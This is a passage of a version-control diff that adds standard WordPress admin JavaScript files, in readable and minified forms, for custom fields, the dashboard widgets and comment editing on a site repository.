#favorite-inside").bind("mouseleave",function(){a("#favorite-inside").removeClass("slideDown").addClass("slideUp");setTimeout(function(){if(a("#favorite-inside").hasClass("slideUp")){a("#favorite-inside").slideUp(100,function(){a("#favorite-first").removeClass("slide-down")})}},300)})}};a(document).ready(function(){adminMenu.init()});columns={init:function(){a(".hide-column-tog").click(function(){var c=a(this).val(),b=a(this).attr("checked");if(b){a(".column-"+c).show()}else{a(".column-"+c).hide()}columns.save_manage_columns_state()})},save_manage_columns_state:function(){var b=a(".manage-column").filter(":hidden").map(function(){return this.id}).get().join(",");a.post(ajaxurl,{action:"hidden-columns",hidden:b,screenoptionnonce:a("#screenoptionnonce").val(),page:pagenow})}};a(document).ready(function(){columns.init()})})(jQuery);showNotice={warn:function(){var a=commonL10n.warnDelete||"";if(confirm(a)){return true}return false},note:function(a){alert(a)}};jQuery(document).ready(function(d){var f=false,a,e,c,b;d(".fade").animate({backgroundColor:"#ffffe0"},300).animate({backgroundColor:"#fffbcc"},300).animate({backgroundColor:"#ffffe0"},300).animate({backgroundColor:"#fffbcc"},300);d("div.wrap h2 ~ div.updated, div.wrap h2 ~ div.error").addClass("below-h2");d("div.updated, div.error").not(".below-h2").insertAfter("div.wrap h2:first");d("#doaction, #doaction2").click(function(){if(d('select[name="action"]').val()=="delete"||d('select[name="action2"]').val()=="delete"){return showNotice.warn()}});d("#show-settings-link").click(function(){if(!d("#screen-options-wrap").hasClass("screen-options-open")){d("#contextual-help-link-wrap").css("visibility","hidden")}d("#screen-options-wrap").slideToggle("fast",function(){if(d(this).hasClass("screen-options-open")){d("#show-settings-link").css({backgroundImage:'url("images/screen-options-right.gif")'});d("#contextual-help-link-wrap").css("visibility","");d(this).removeClass("screen-options-open")}else{d("#show-settings-link").css({backgroundImage:'url("images/screen-options-right-up.gif")'});d(this).addClass("screen-options-open")}});return false});d("#contextual-help-link").click(function(){if(!d("#contextual-help-wrap").hasClass("contextual-help-open")){d("#screen-options-link-wrap").css("visibility","hidden")}d("#contextual-help-wrap").slideToggle("fast",function(){if(d(this).hasClass("contextual-help-open")){d("#contextual-help-link").css({backgroundImage:'url("images/screen-options-right.gif")'});d("#screen-options-link-wrap").css("visibility","");d(this).removeClass("contextual-help-open")}else{d("#contextual-help-link").css({backgroundImage:'url("images/screen-options-right-up.gif")'});d(this).addClass("contextual-help-open")}});return false});d("#contextual-help-link-wrap, #screen-options-link-wrap").show();d("table:visible tbody .check-column :checkbox").click(function(g){if("undefined"==g.shiftKey){return true}if(g.shiftKey){if(!f){return true}a=d(f).parents("form:first").find(":checkbox");e=a.index(f);c=a.index(this);b=d(this).attr("checked");if(0<e&&0<c&&e!=c){a.slice(e,c).attr("checked",function(){if(d(this).parents("tr").is(":visible")){return b?"checked":""}return""})}}f=this;return true});d("thead :checkbox, tfoot :checkbox").click(function(i){var j=d(this).attr("checked"),h="undefined"==typeof toggleWithKeyboard?false:toggleWithKeyboard,g=i.shiftKey||h;d(this).parents("form:first").find("table tbody:visible").find(".check-column :checkbox").attr("checked",function(){if(d(this).parents("tr").is(":hidden")){return""}if(g){return d(this).attr("checked")?"":"checked"}else{if(j){return"checked"}}return""});d(this).parents("form:first").find("table thead:visible, table tfoot:visible").find(".check-column :checkbox").attr("checked",function(){if(g){return""}else{if(j){return"checked"}}return""})});d("#default-password-nag-no").click(function(){setUserSetting("default_password_nag","hide");d("div.default-password-nag").hide();return false})});jQuery(document).ready(function(b){var a=b(".turbo-nag");if(!a.length||("undefined"!=typeof(google)&&google.gears)){return}if("undefined"!=typeof GearsFactory){return}else{try{if(("undefined"!=typeof window.ActiveXObject&&ActiveXObject("Gears.Factory"))||("undefined"!=typeof navigator.mimeTypes&&navigator.mimeTypes["application/x-googlegears"])){return}}catch(c){}}a.show()});
Index: /trunk/www.guidonia.net/wp/wp-admin/js/custom-fields.dev.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/js/custom-fields.dev.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/js/custom-fields.dev.js	(revision 44)
@@ -0,0 +1,34 @@
+jQuery(document).ready( function($) {
+	var before, addBefore, addAfter, delBefore;
+
+	before = function() {
+		var nonce = $('#newmeta [name=_ajax_nonce]').val(), postId = $('#post_ID').val();
+		if ( !nonce || !postId ) { return false; }
+		return [nonce,postId];
+	}
+
+	addBefore = function( s ) {
+		var b = before();
+		if ( !b ) { return false; }
+		s.data = s.data.replace(/_ajax_nonce=[a-f0-9]+/, '_ajax_nonce=' + b[0]) + '&post_id=' + b[1];
+		return s;
+	};
+
+	addAfter = function( r, s ) {
+		var postId = $('postid', r).text(), h;
+		if ( !postId ) { return; }
+		$('#post_ID').attr( 'name', 'post_ID' ).val( postId );
+		h = $('#hiddenaction');
+		if ( 'post' == h.val() ) { h.val( 'postajaxpost' ); }
+	};
+
+	delBefore = function( s ) {
+		var b = before(); if ( !b ) return false;
+		s.data._ajax_nonce = b[0]; s.data.post_id = b[1];
+		return s;
+	}
+
+	$('#the-list')
+		.wpList( { addBefore: addBefore, addAfter: addAfter, delBefore: delBefore } )
+		.find('.updatemeta, .deletemeta').attr( 'type', 'button' );
+} );
Index: /trunk/www.guidonia.net/wp/wp-admin/js/custom-fields.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/js/custom-fields.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/js/custom-fields.js	(revision 44)
@@ -0,0 +1,1 @@
+jQuery(document).ready(function(d){var c,b,e,a;c=function(){var g=d("#newmeta [name=_ajax_nonce]").val(),f=d("#post_ID").val();if(!g||!f){return false}return[g,f]};b=function(g){var f=c();if(!f){return false}g.data=g.data.replace(/_ajax_nonce=[a-f0-9]+/,"_ajax_nonce="+f[0])+"&post_id="+f[1];return g};e=function(j,i){var f=d("postid",j).text(),g;if(!f){return}d("#post_ID").attr("name","post_ID").val(f);g=d("#hiddenaction");if("post"==g.val()){g.val("postajaxpost")}};a=function(g){var f=c();if(!f){return false}g.data._ajax_nonce=f[0];g.data.post_id=f[1];return g};d("#the-list").wpList({addBefore:b,addAfter:e,delBefore:a}).find(".updatemeta, .deletemeta").attr("type","button")});
Index: /trunk/www.guidonia.net/wp/wp-admin/js/dashboard.dev.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/js/dashboard.dev.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/js/dashboard.dev.js	(revision 44)
@@ -0,0 +1,70 @@
+var ajaxWidgets, ajaxPopulateWidgets, quickPressLoad;
+
+jQuery(document).ready( function($) {
+	// These widgets are sometimes populated via ajax
+	ajaxWidgets = [
+		'dashboard_incoming_links',
+		'dashboard_primary',
+		'dashboard_secondary',
+		'dashboard_plugins'
+	];
+
+	ajaxPopulateWidgets = function(el) {
+		show = function(id, i) {
+			var p, e = $('#' + id + ' div.inside:visible').find('.widget-loading');
+			if ( e.length ) {
+				p = e.parent();
+				setTimeout( function(){
+					p.load('index-extra.php?jax=' + id, '', function() {
+						p.hide().slideDown('normal', function(){
+							$(this).css('display', '');
+							if ( 'dashboard_plugins' == id && $.isFunction(tb_init) )
+								tb_init('#dashboard_plugins a.thickbox');
+						});
+					});
+				}, i * 500 );
+			}
+		}
+		if ( el ) {
+			el = el.toString();
+			if ( $.inArray(el, ajaxWidgets) != -1 )
+				show(el, 0);
+		} else {
+			$.each( ajaxWidgets, function(i) {
+				show(this, i);
+			});
+		}
+	};
+	ajaxPopulateWidgets();
+
+	postboxes.add_postbox_toggles('dashboard', { pbshow: ajaxPopulateWidgets } );
+
+	/* QuickPress */
+	quickPressLoad = function() {
+		var act = $('#quickpost-action'), t;
+		t = $('#quick-press').submit( function() {
+			$('#dashboard_quick_press h3').append( '<img src="images/wpspin_light.gif" style="margin: 0 6px 0 0; vertical-align: middle" />' );
+			$('#quick-press .submit input[type="submit"], #quick-press .submit input[type="reset"]').attr('disabled','disabled');
+
+			if ( 'post' == act.val() ) {
+				act.val( 'post-quickpress-publish' );
+			}
+
+			$('#dashboard_quick_press div.inside').load( t.attr( 'action' ), t.serializeArray(), function() {
+				$('#dashboard_quick_press h3 img').remove();
+				$('#quick-press .submit input[type="submit"], #quick-press .submit input[type="reset"]').attr('disabled','');
+				$('#dashboard_quick_press ul').find('li').each( function() {
+					$('#dashboard_recent_drafts ul').prepend( this );
+				} ).end().remove();
+				tb_init('a.thickbox');
+				quickPressLoad();
+			} );
+			return false;
+		} );
+
+		$('#publish').click( function() { act.val( 'post-quickpress-publish' ); } );
+
+	};
+	quickPressLoad();
+
+} );
Index: /trunk/www.guidonia.net/wp/wp-admin/js/dashboard.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/js/dashboard.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/js/dashboard.js	(revision 44)
@@ -0,0 +1,1 @@
+var ajaxWidgets,ajaxPopulateWidgets,quickPressLoad;jQuery(document).ready(function(a){ajaxWidgets=["dashboard_incoming_links","dashboard_primary","dashboard_secondary","dashboard_plugins"];ajaxPopulateWidgets=function(b){show=function(g,c){var f,d=a("#"+g+" div.inside:visible").find(".widget-loading");if(d.length){f=d.parent();setTimeout(function(){f.load("index-extra.php?jax="+g,"",function(){f.hide().slideDown("normal",function(){a(this).css("display","");if("dashboard_plugins"==g&&a.isFunction(tb_init)){tb_init("#dashboard_plugins a.thickbox")}})})},c*500)}};if(b){b=b.toString();if(a.inArray(b,ajaxWidgets)!=-1){show(b,0)}}else{a.each(ajaxWidgets,function(c){show(this,c)})}};ajaxPopulateWidgets();postboxes.add_postbox_toggles("dashboard",{pbshow:ajaxPopulateWidgets});quickPressLoad=function(){var b=a("#quickpost-action"),c;c=a("#quick-press").submit(function(){a("#dashboard_quick_press h3").append('<img src="images/wpspin_light.gif" style="margin: 0 6px 0 0; vertical-align: middle" />');a('#quick-press .submit input[type="submit"], #quick-press .submit input[type="reset"]').attr("disabled","disabled");if("post"==b.val()){b.val("post-quickpress-publish")}a("#dashboard_quick_press div.inside").load(c.attr("action"),c.serializeArray(),function(){a("#dashboard_quick_press h3 img").remove();a('#quick-press .submit input[type="submit"], #quick-press .submit input[type="reset"]').attr("disabled","");a("#dashboard_quick_press ul").find("li").each(function(){a("#dashboard_recent_drafts ul").prepend(this)}).end().remove();tb_init("a.thickbox");quickPressLoad()});return false});a("#publish").click(function(){b.val("post-quickpress-publish")})};quickPressLoad()});
Index: /trunk/www.guidonia.net/wp/wp-admin/js/edit-comments.dev.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/js/edit-comments.dev.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/js/edit-comments.dev.js	(revision 44)
@@ -0,0 +1,391 @@
+var theList, theExtraList, toggleWithKeyboard = false;
+(function($) {
+
+setCommentsList = function() {
+	var totalInput, perPageInput, pageInput, lastConfidentTime = 0, dimAfter, delBefore, updateTotalCount, delAfter;
+
+	totalInput = $('#comments-form .tablenav :input[name="_total"]');
+	perPageInput = $('#comments-form .tablenav :input[name="_per_page"]');
+	pageInput = $('#comments-form .tablenav :input[name="_page"]');
+
+	dimAfter = function( r, settings ) {
+		var c = $('#' + settings.element);
+
+		if ( c.is('.unapproved') )
+			c.find('div.comment_status').html('0')
+		else
+			c.find('div.comment_status').html('1')
+
+		$('span.pending-count').each( function() {
+			var a = $(this), n;
+			n = a.html().replace(/[ ,.]+/g, '');
+			n = parseInt(n,10);
+			if ( isNaN(n) ) return;
+			n = n + ( $('#' + settings.element).is('.' + settings.dimClass) ? 1 : -1 );
+			if ( n < 0 ) { n = 0; }
+			a.parents('#awaiting-mod')[ 0 == n ? 'addClass' : 'removeClass' ]('count-0');
+			n = n.toString();
+			if ( n.length > 3 )
+				n = n.substr(0, n.length-3)+' '+n.substr(-3);
+			a.html(n);
+		});
+	};
+
+	// Send current total, page, per_page and url
+	delBefore = function( settings ) {
+		settings.data._total = totalInput.val();
+		settings.data._per_page = perPageInput.val();
+		settings.data._page = pageInput.val();
+		settings.data._url = document.location.href;
+
+		if ( 'undefined' != showNotice && settings.data.action && settings.data.action == 'delete-comment' && !settings.data.spam )
+			return showNotice.warn() ? settings : false;
+
+		return settings;
+	};
+
+	/* Updates the current total (as displayed visibly)
+	*/
+	updateTotalCount = function( total, time, setConfidentTime ) {
+		if ( time < lastConfidentTime ) {
+			return;
+		}
+		totalInput.val( total.toString() );
+		if ( setConfidentTime ) {
+			lastConfidentTime = time;
+		}
+		$('span.total-type-count').each( function() {
+			var a = $(this), n;
+			n = totalInput.val().toString();
+			if ( n.length > 3 )
+				n = n.substr(0, n.length-3)+' '+n.substr(-3);
+			a.html(n);
+		});
+
+	};
+
+	// In admin-ajax.php, we send back the unix time stamp instead of 1 on success
+	delAfter = function( r, settings ) {
+		$('span.pending-count').each( function() {
+			var a = $(this), n;
+			n = a.html().replace(/[ ,.]+/g, '');
+			n = parseInt(n,10);
+			if ( isNaN(n) ) return;
+			if ( $('#' + settings.element).is('.unapproved') ) { // we deleted a formerly unapproved comment
+				n = n - 1;
+			} else if ( $(settings.target).parents( 'span.unapprove' ).size() ) { // we "deleted" an approved comment from the approved list by clicking "Unapprove"
+				n = n + 1;
+			}
+			if ( n < 0 ) { n = 0; }
+			a.parents('#awaiting-mod')[ 0 == n ? 'addClass' : 'removeClass' ]('count-0');
+			n = n.toString();
+			if ( n.length > 3 )
+				n = n.substr(0, n.length-3)+' '+n.substr(-3);
+			a.html(n);
+		});
+
+		$('span.spam-count').each( function() {
+			var a = $(this), n;
+			n = a.html().replace(/[ ,.]+/g, '');
+			n = parseInt(n,10);
+			if ( isNaN(n) ) return;
+			if ( $(settings.target).parents( 'span.spam' ).size() ) { // we marked a comment as spam
+				n = n + 1;
+			} else if ( $('#' + settings.element).is('.spam') ) { // we approved or deleted a comment marked as spam
+				n = n - 1;
+			}
+			if ( n < 0 ) { n = 0; }
+			n = n.toString();
+			if ( n.length > 3 )
+				n = n.substr(0, n.length-3)+' '+n.substr(-3);
+			a.html(n);
+		});
+
+
+		// XML response
+		if ( ( 'object' == typeof r ) && lastConfidentTime < settings.parsed.responses[0].supplemental.time ) {
+			// Set the total to the known good value (even if this value is a little old, newer values should only be a few less, and so shouldn't mess up the page links)
+			updateTotalCount( settings.parsed.responses[0].supplemental.total, settings.parsed.responses[0].supplemental.time, true );
+			if ( $.trim( settings.parsed.responses[0].supplemental.pageLinks ) ) {
+				$('.tablenav-pages').find( '.page-numbers' ).remove().end().append( $( settings.parsed.responses[0].supplemental.pageLinks ) );
+			} else if ( 'undefined' != typeof settings.parsed.responses[0].supplemental.pageLinks ) {
+				$('.tablenav-pages').find( '.page-numbers' ).remove();
+			}
+		} else {
+			// Decrement the total
+			var total = parseInt( totalInput.val(), 10 );
+			if ( total-- < 0 )
+				total = 0;
+			updateTotalCount( total, r, false );
+		}
+
+		if ( theExtraList.size() == 0 || theExtraList.children().size() == 0 ) {
+			return;
+		}
+
+		theList.get(0).wpList.add( theExtraList.children(':eq(0)').remove().clone() );
+		$('#get-extra-comments').submit();
+	};
+
+	theExtraList = $('#the-extra-comment-list').wpList( { alt: '', delColor: 'none', addColor: 'none' } );
+	theList = $('#the-comment-list').wpList( { alt: '', delBefore: delBefore, dimAfter: dimAfter, delAfter: delAfter, addColor: 'none' } );
+
+};
+
+commentReply = {
+
+	init : function() {
+		var row = $('#replyrow');
+
+		$('a.cancel', row).click(function() { return commentReply.revert(); });
+		$('a.save', row).click(function() { return commentReply.send(); });
+		$('input#author, input#author-email, input#author-url', row).keypress(function(e){
+			if ( e.which == 13 ) {
+				commentReply.send();
+				e.preventDefault();
+				return false;
+			}
+		});
+
+		// add events
+		$('#the-comment-list .column-comment > p').dblclick(function(){
+			commentReply.toggle($(this).parent());
+		});
+
+		$('#doaction, #doaction2, #post-query-submit').click(function(e){
+			if ( $('#the-comment-list #replyrow').length > 0 )
+				commentReply.close();
+		});
+
+		this.comments_listing = $('#comments-form > input[name="comment_status"]').val() || '';
+
+	},
+
+	addEvents : function(r) {
+		r.each(function() {
+			$(this).find('.column-comment > p').dblclick(function(){
+				commentReply.toggle($(this).parent());
+			});
+		});
+	},
+
+	toggle : function(el) {
+		if ( $(el).css('display') != 'none' )
+			$(el).find('a.vim-q').click();
+	},
+
+	revert : function() {
+
+		if ( $('#the-comment-list #replyrow').length < 1 )
+			return false;
+
+		$('#replyrow').fadeOut('fast', function(){
+			commentReply.close();
+		});
+
+		return false;
+	},
+
+	close : function() {
+		$(this.o).fadeIn('fast').css('backgroundColor', '');
+		$('#com-reply').append( $('#replyrow') );
+		$('#replycontent').val('');
+		$('#edithead input').val('');
+		$('#replysubmit .error').html('').hide();
+		$('#replysubmit .waiting').hide();
+		if ( $.browser.msie )
+			$('#replycontainer, #replycontent').css('height', '120px');
+		else
+			$('#replycontainer').resizable('destroy').css('height', '120px');
+	},
+
+	open : function(id, p, a) {
+		var t = this, editRow, act, h;
+		t.close();
+		t.o = '#comment-'+id;
+
+		$('#replyrow td').attr('colspan', $('.widefat thead th:visible').length);
+		editRow = $('#replyrow'), rowData = $('#inline-'+id);
+		act = t.act = (a == 'edit') ? 'edit-comment' : 'replyto-comment';
+
+		$('#action', editRow).val(act);
+		$('#comment_post_ID', editRow).val(p);
+		$('#comment_ID', editRow).val(id);
+
+		if ( a == 'edit' ) {
+			$('#author', editRow).val( $('div.author', rowData).text() );
+			$('#author-email', editRow).val( $('div.author-email', rowData).text() );
+			$('#author-url', editRow).val( $('div.author-url', rowData).text() );
+			$('#status', editRow).val( $('div.comment_status', rowData).text() );
+			$('#replycontent', editRow).val( $('textarea.comment', rowData).val() );
+			$('#edithead, #savebtn', editRow).show();
+			$('#replyhead, #replybtn', editRow).hide();
+
+			h = $(t.o).height();
+			if ( h > 220 )
+				if ( $.browser.msie )
+					$('#replycontainer, #replycontent', editRow).height(h-105);
+				else
+					$('#replycontainer', editRow).height(h-105);
+
+			$(t.o).after(editRow.hide()).fadeOut('fast', function(){
+				$('#replyrow').fadeIn('fast');
+			});
+		} else {
+			$('#edithead, #savebtn', editRow).hide();
+			$('#replyhead, #replybtn', editRow).show();
+			$(t.o).after(editRow);
+			$('#replyrow').hide().fadeIn('fast');
+		}
+
+		if ( ! $.browser.msie )
+			$('#replycontainer').resizable({
+				handles : 's',
+				axis : 'y',
+				minHeight : 80,
+				stop : function() {
+					$('#replycontainer').width('auto');
+				}
+			});
+
+		setTimeout(function() {
+			var rtop, rbottom, scrollTop, vp, scrollBottom;
+
+			rtop = $('#replyrow').offset().top;
+			rbottom = rtop + $('#replyrow').height();
+			scrollTop = window.pageYOffset || document.documentElement.scrollTop;
+			vp = document.documentElement.clientHeight || self.innerHeight || 0;
+			scrollBottom = scrollTop + vp;
+
+			if ( scrollBottom - 20 < rbottom )
+				window.scroll(0, rbottom - vp + 35);
+			else if ( rtop - 20 < scrollTop )
+				window.scroll(0, rtop - 35);
+
+			$('#replycontent').focus().keyup(function(e){
+				if (e.which == 27) commentReply.revert(); // close on Escape
+			});
+		}, 600);
+
+		return false;
+	},
+
+	send : function() {
+		var post = {};
+
+		$('#replysubmit .waiting').show();
+
+		$('#replyrow input').each(function() {
+			post[ $(this).attr('name') ] = $(this).val();
+		});
+
+		post.content = $('#replycontent').val();
+		post.id = post.comment_post_ID;
+		post.comments_listing = this.comments_listing;
+
+		$.ajax({
+			type : 'POST',
+			url : wpListL10n.url,
+			data : post,
+			success : function(x) { commentReply.show(x); },
+			error : function(r) { commentReply.error(r); }
+		});
+
+		return false;
+	},
+
+	show : function(xml) {
+		var r, c, id, bg;
+
+		if ( typeof(xml) == 'string' ) {
+			this.error({'responseText': xml});
+			return false;
+		}
+
+		r = wpAjax.parseAjaxResponse(xml);
+		if ( r.errors ) {
+			this.error({'responseText': wpAjax.broken});
+			return false;
+		}
+
+		if ( 'edit-comment' == this.act )
+			$(this.o).remove();
+
+		r = r.responses[0];
+		c = r.data;
+
+		$(c).hide()
+		$('#replyrow').after(c);
+
+		this.o = id = '#comment-'+r.id;
+		this.revert();
+		this.addEvents($(id));
+		bg = $(id).hasClass('unapproved') ? '#ffffe0' : '#fff';
+
+		$(id)
+			.animate( { 'backgroundColor':'#CCEEBB' }, 600 )
+			.animate( { 'backgroundColor': bg }, 600 );
+
+		$.fn.wpList.process($(id))
+	},
+
+	error : function(r) {
+		var er = r.statusText;
+
+		$('#replysubmit .waiting').hide();
+
+		if ( r.responseText )
+			er = r.responseText.replace( /<.[^<>]*?>/g, '' );
+
+		if ( er )
+			$('#replysubmit .error').html(er).show();
+
+	}
+};
+
+$(document).ready(function(){
+	var make_hotkeys_redirect, edit_comment, toggle_all, make_bulk;
+
+	setCommentsList();
+	commentReply.init();
+	$('span.delete a.delete').click(function(){return false;});
+
+	if ( typeof QTags != 'undefined' )
+		ed_reply = new QTags('ed_reply', 'replycontent', 'replycontainer', 'more');
+
+	if ( typeof $.table_hotkeys != 'undefined' ) {
+		make_hotkeys_redirect = function(which) {
+			return function() {
+				var first_last, l;
+
+				first_last = 'next' == which? 'first' : 'last';
+				l = $('.'+which+'.page-numbers');
+				if (l.length)
+					window.location = l[0].href.replace(/\&hotkeys_highlight_(first|last)=1/g, '')+'&hotkeys_highlight_'+first_last+'=1';
+			}
+		};
+		edit_comment = function(event, current_row) {
+			window.location = $('span.edit a', current_row).attr('href');
+		};
+		toggle_all = function() {
+			toggleWithKeyboard = true;
+			$('#comments-form thead #cb input:checkbox').click().attr('checked', '');
+			toggleWithKeyboard = false;
+		}
+		make_bulk = function(value) {
+			return function(event, _) {
+				$('option[value='+value+']').attr('selected', 'selected');
+				$('form#comments-form')[0].submit();
+			}
+		};
+		$.table_hotkeys($('table.widefat'),['a', 'u', 's', 'd', 'r', 'q', ['e', edit_comment],
+				['shift+a', make_bulk('approve')], ['shift+s', make_bulk('markspam')],
+				['shift+d', make_bulk('delete')], ['shift+x', toggle_all],
+				['shift+u', make_bulk('unapprove')]],
+				{highlight_first: adminCommentsL10n.hotkeys_highlight_first, highlight_last: adminCommentsL10n.hotkeys_highlight_last,
+				prev_page_link_cb: make_hotkeys_redirect('prev'), next_page_link_cb: make_hotkeys_redirect('next')}
+		);
+	}
+});
+
+})(jQuery);
Index: /trunk/www.guidonia.net/wp/wp-admin/js/edit-comments.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/js/edit-comments.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/js/edit-comments.js	(revision 44)
@@ -0,0 +1,1 @@
+var theList,theExtraList,toggleWithKeyboard=false;(function(a){setCommentsList=function(){var g,i,h,f=0,c,e,d,b;g=a('#comments-form .tablenav :input[name="_total"]');i=a('#comments-form .tablenav :input[name="_per_page"]');h=a('#comments-form .tablenav :input[name="_page"]');c=function(k,j){var l=a("#"+j.element);if(l.is(".unapproved")){l.find("div.comment_status").html("0")}else{l.find("div.comment_status").html("1")}a("span.pending-count").each(function(){var m=a(this),o;o=m.html().replace(/[ ,.]+/g,"");o=parseInt(o,10);if(isNaN(o)){return}o=o+(a("#"+j.element).is("."+j.dimClass)?1:-1);if(o<0){o=0}m.parents("#awaiting-mod")[0==o?"addClass":"removeClass"]("count-0");o=o.toString();if(o.length>3){o=o.substr(0,o.length-3)+" "+o.substr(-3)}m.html(o)})};e=function(j){j.data._total=g.val();j.data._per_page=i.val();j.data._page=h.val();j.data._url=document.location.href;if("undefined"!=showNotice&&j.data.action&&j.data.action=="delete-comment"&&!j.data.spam){return showNotice.warn()?j:false}return j};d=function(j,k,l){if(k<f){return}g.val(j.toString());if(l){f=k}a("span.total-type-count").each(function(){var m=a(this),o;o=g.val().toString();if(o.length>3){o=o.substr(0,o.length-3)+" "+o.substr(-3)}m.html(o)})};b=function(l,j){a("span.pending-count").each(function(){var m=a(this),o;o=m.html().replace(/[ ,.]+/g,"");o=parseInt(o,10);if(isNaN(o)){return}if(a("#"+j.element).is(".unapproved")){o=o-1}else{if(a(j.target).parents("span.unapprove").size()){o=o+1}}if(o<0){o=0}m.parents("#awaiting-mod")[0==o?"addClass":"removeClass"]("count-0");o=o.toString();if(o.length>3){o=o.substr(0,o.length-3)+" "+o.substr(-3)}m.html(o)});a("span.spam-count").each(function(){var m=a(this),o;o=m.html().replace(/[ ,.]+/g,"");o=parseInt(o,10);if(isNaN(o)){return}if(a(j.target).parents("span.spam").size()){o=o+1}else{if(a("#"+j.element).is(".spam")){o=o-1}}if(o<0){o=0}o=o.toString();if(o.length>3){o=o.substr(0,o.length-3)+" "+o.substr(-3)}m.html(o)});if(("object"==typeof l)&&f<j.parsed.responses[0].supplemental.time){d(j.parsed.responses[0].supplemental.total,j.parsed.responses[0].supplemental.time,true);if(a.trim(j.parsed.responses[0].supplemental.pageLinks)){a(".tablenav-pages").find(".page-numbers").remove().end().append(a(j.parsed.responses[0].supplemental.pageLinks))}else{if("undefined"!=typeof j.parsed.responses[0].supplemental.pageLinks){a(".tablenav-pages").find(".page-numbers").remove()}}}else{var k=parseInt(g.val(),10);if(k--<0){k=0}d(k,l,false)}if(theExtraList.size()==0||theExtraList.children().size()==0){return}theList.get(0).wpList.add(theExtraList.children(":eq(0)").remove().clone());a("#get-extra-comments").submit()};theExtraList=a("#the-extra-comment-list").wpList({alt:"",delColor:"none",addColor:"none"});theList=a("#the-comment-list").wpList({alt:"",delBefore:e,dimAfter:c,delAfter:b,addColor:"none"})};commentReply={init:function(){var b=a("#replyrow");a("a.cancel",b).click(function(){return commentReply.revert()});a("a.save",b).click(function(){return commentReply.send()});a("input#author, input#author-email, input#author-url",b).keypress(function(c){if(c.which==13){commentReply.send();c.preventDefault();return false}});a("#the-comment-list .column-comment > p").dblclick(function(){commentReply.toggle(a(this).parent())});a("#doaction, #doaction2, #post-query-submit").click(function(c){if(a("#the-comment-list #replyrow").length>0){commentReply.close()}});this.comments_listing=a('#comments-form > input[name="comment_status"]').val()||""},addEvents:function(b){b.each(function(){a(this).find(".column-comment > p").dblclick(function(){commentReply.toggle(a(this).parent())})})},toggle:function(b){if(a(b).css("display")!="none"){a(b).find("a.vim-q").click()}},revert:function(){if(a("#the-comment-list #replyrow").length<1){return false}a("#replyrow").fadeOut("fast",function(){commentReply.close()});return false},close:function(){a(this.o).fadeIn("fast").css("backgroundColor","");a("#com-reply").append(a("#replyrow"));a("#replycontent").val("");a("#edithead input").val("");a("#replysubmit .error").html("").hide();a("#replysubmit .waiting").hide();if(a.browser.msie){a("#replycontainer, #replycontent").css("height","120px")}else{a("#replycontainer").resizable("destroy").css("height","120px")}},open:function(i,g,c){var e=this,d,b,f;e.close();e.o="#comment-"+i;a("#replyrow td").attr("colspan",a(".widefat thead th:visible").length);d=a("#replyrow"),rowData=a("#inline-"+i);b=e.act=(c=="edit")?"edit-comment":"replyto-comment";a("#action",d).val(b);a("#comment_post_ID",d).val(g);a("#comment_ID",d).val(i);if(c=="edit"){a("#author",d).val(a("div.author",rowData).text());a("#author-email",d).val(a("div.author-email",rowData).text());a("#author-url",d).val(a("div.author-url",rowData).text());a("#status",d).val(a("div.comment_status",rowData).text());a("#replycontent",d).val(a("textarea.comment",rowData).val());a("#edithead, #savebtn",d).show();a("#replyhead, #replybtn",d).hide();f=a(e.o).height();if(f>220){if(a.browser.msie){a("#replycontainer, #replycontent",d).height(f-105)}else{a("#replycontainer",d).height(f-105)}}a(e.o).after(d.hide()).fadeOut("fast",function(){a("#replyrow").fadeIn("fast")})}else{a("#edithead, #savebtn",d).hide();a("#replyhead, #replybtn",d).show();a(e.o).after(d);a("#replyrow").hide().fadeIn("fast")}if(!a.browser.msie){a("#replycontainer").resizable({handles:"s",axis:"y",minHeight:80,stop:function(){a("#replycontainer").width("auto")}})}setTimeout(function(){var l,j,m,h,k;l=a("#replyrow").offset().top;j=l+a("#replyrow").height();m=window.pageYOffset||document.documentElement.scrollTop;h=document.documentElement.clientHeight||self.innerHeight||0;k=m+h;if(k-20<j){window.scroll(0,j-h+35)}else{if(l-20<m){window.scroll(0,l-35)}}a("#replycontent").focus().keyup(function(n){if(n.which==27){commentReply.revert()}})},600);return false},send:function(){var b={};a("#replysubmit .waiting").show();a("#replyrow input").each(function(){b[a(this).attr("name")]=a(this).val()});b.content=a("#replycontent").val();b.id=b.comment_post_ID;b.comments_listing=this.comments_listing;a.ajax({type:"POST",url:wpListL10n.url,data:b,success:function(c){commentReply.show(c)},error:function(c){commentReply.error(c)}});return false},show:function(b){var e,g,f,d;if(typeof(b)=="string"){this.error({responseText:b});return false}e=wpAjax.parseAjaxResponse(b);if(e.errors){this.error({responseText:wpAjax.broken});return false}if("edit-comment"==this.act){a(this.o).remove()}e=e.responses[0];g=e.data;a(g).hide();a("#replyrow").after(g);this.o=f="#comment-"+e.id;this.revert();this.addEvents(a(f));d=a(f).hasClass("unapproved")?"#ffffe0":"#fff";a(f).animate({backgroundColor:"#CCEEBB"},600).animate({backgroundColor:d},600);a.fn.wpList.process(a(f))},error:function(b){var c=b.statusText;a("#replysubmit .waiting").hide();if(b.responseText){c=b.responseText.replace(/<.[^<>]*?>/g,"")}if(c){a("#replysubmit .error").html(c).show()}}};a(document).ready(function(){var e,b,c,d;setCommentsList();commentReply.init();a("span.delete a.delete").click(function(){return false});if(typeof QTags!="undefined"){ed_reply=new QTags("ed_reply","replycontent","replycontainer","more")}if(typeof a.table_hotkeys!="undefined"){e=function(f){return function(){var h,g;h="next"==f?"first":"last";g=a("."+f+".page-numbers");if(g.length){window.location=g[0].href.replace(/\&hotkeys_highlight_(first|last)=1/g,"")+"&hotkeys_highlight_"+h+"=1"}}};b=function(g,f){window.location=a("span.edit a",f).attr("href")};c=function(){toggleWithKeyboard=true;a("#comments-form thead #cb input:checkbox").click().attr("checked","");toggleWithKeyboard=false};d=function(f){return 